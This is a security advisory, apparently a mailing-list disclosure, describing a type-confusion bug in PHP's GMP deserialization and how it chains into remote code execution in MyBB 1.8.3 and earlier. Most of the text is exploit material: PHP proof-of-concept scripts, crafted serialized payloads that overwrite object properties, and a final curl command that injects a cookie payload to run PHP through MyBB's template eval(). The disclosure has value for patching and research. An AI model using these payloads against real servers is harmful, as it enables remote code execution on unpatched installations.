GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]

[Taoguang Chen <taoguangchen () gmail com>]

#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE
Vulnerability]

Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date:
2015.4.28 - Release Date: 2017.1.20

> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method 
> that can be abused for updating any already assigned properties of any already created objects, this result in 
> serious security issues.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.30

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const
unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data
TSRMLS_DC) /* {{{ */
{
        ...
        ALLOC_INIT_ZVAL(zv_ptr);
        if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
                || Z_TYPE_P(zv_ptr) != IS_ARRAY
        ) {
                zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
                goto exit;
        }

        if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
                zend_hash_copy(
                        zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
                        (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
                );
        }
```

zend_object_handlers.c
```
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
        zend_object *zobj;
        zobj = Z_OBJ_P(object);
        if (!zobj->properties) {
                rebuild_object_properties(zobj);
        }
        return zobj->properties;
}
```

It has been demonstrated many times before that __wakeup() or other
magic methods leads to `ZVAL` was changed from the memory in during
deserializtion. So an attacker can change `**object` into an
integer-type or bool-type `ZVAL`, then the attacker will be able to
access any objects that stored in objects store via `Z_OBJ_P`. This
means the attacker will be able to update any properties in the object
via zend_hash_copy(). It is possible to lead to various problems and
including security issues.

The following codes will prove this vulnerability:
```
<?php

class obj
{
        var $ryat;
        
        function __wakeup()
        {
                $this->ryat = 1;
        }
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);

?>
```

Expected result:
```
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
```

Actual result:
```
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
}
```

**i) How to exploited this bug in real world?**

When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use
convert_to_long() handles and reassignments its properties (it has
been demonstrated many times), so an attacker can convert GMP object
to an any integer-type `ZVAL` via GMP's gmp_cast_object():

```
static int gmp_cast_object(zval *readobj, zval *writeobj, int type
TSRMLS_DC) /* {{{ */
{
    mpz_ptr gmpnum;
    switch (type) {
    ...
    case IS_LONG:
        gmpnum = GET_GMP_FROM_ZVAL(readobj);
        INIT_PZVAL(writeobj);
        ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
        return SUCCESS;
```

The following codes will prove this exploite way:
```
<?php

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

?>
```
Of course, a crafted __wakeup() can also be exploited, ex:

```
<?php

function __wakeup()
{
    $this->ryat = (int) $this->ryat;
}

?>
```

**ii) Can be exploited this bug in real app?**

Exploited the bug in MyBB:

index.php
```
        if(isset($mybb->cookies['mybb']['forumread']))
        {
                $forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
        }
```

MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an
attacker will be able to update `$mybb` or other object's any
properties, and it is possible to lead to security issues easily, ex:
xss, sql injection, remote code execution and etc. :-)

**P.S. I had reported this vulnerability and it had been fixed in mybb
> = 1.8.4.**

Proof of Concept Exploit
------------
**MyBB <= 1.8.3 RCE vulnerability**

index.php
```
eval('$index = "'.$templates->get('index').'";');
```

MyBB always use eval() function in during template parsing.

inc/class_templates.php
```
class templates
{
        ...
        public $cache = array();
        ...
        function get($title, $eslashes=1, $htmlcomments=1)
        {
                global $db, $theme, $mybb;
                ...
                $template = $this->cache[$title];
                ...
                return $template;
        }
```

If we can control the `$cache`, we will be albe to inject PHP code via
eval() function.

inc/init.php
```
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
        case "sqlite":
                $db = new DB_SQLite;
                break;
        case "pgsql":
                $db = new DB_PgSQL;
                break;
        case "mysqli":
                $db = new DB_MySQLi;
                break;
        default:
                $db = new DB_MySQL;
}
...
$templates = new templates;
```

The `$templates` object was instantiated in init.php, and four objects
was instantiated in this before. This means the `$templates` object's
handle was set to `5` and stored into objects store, so we can access
the `$templates` object and update the `$cache` property via convert
GMP object into integer-type `ZVAL` that value is `5` in during GMP
deserialization. This also means we can inject PHP code via eval()
function.

When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by
just using curl on the command line:
```
curl --cookie 
'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}'
http://127.0.0.1/mybb/
```

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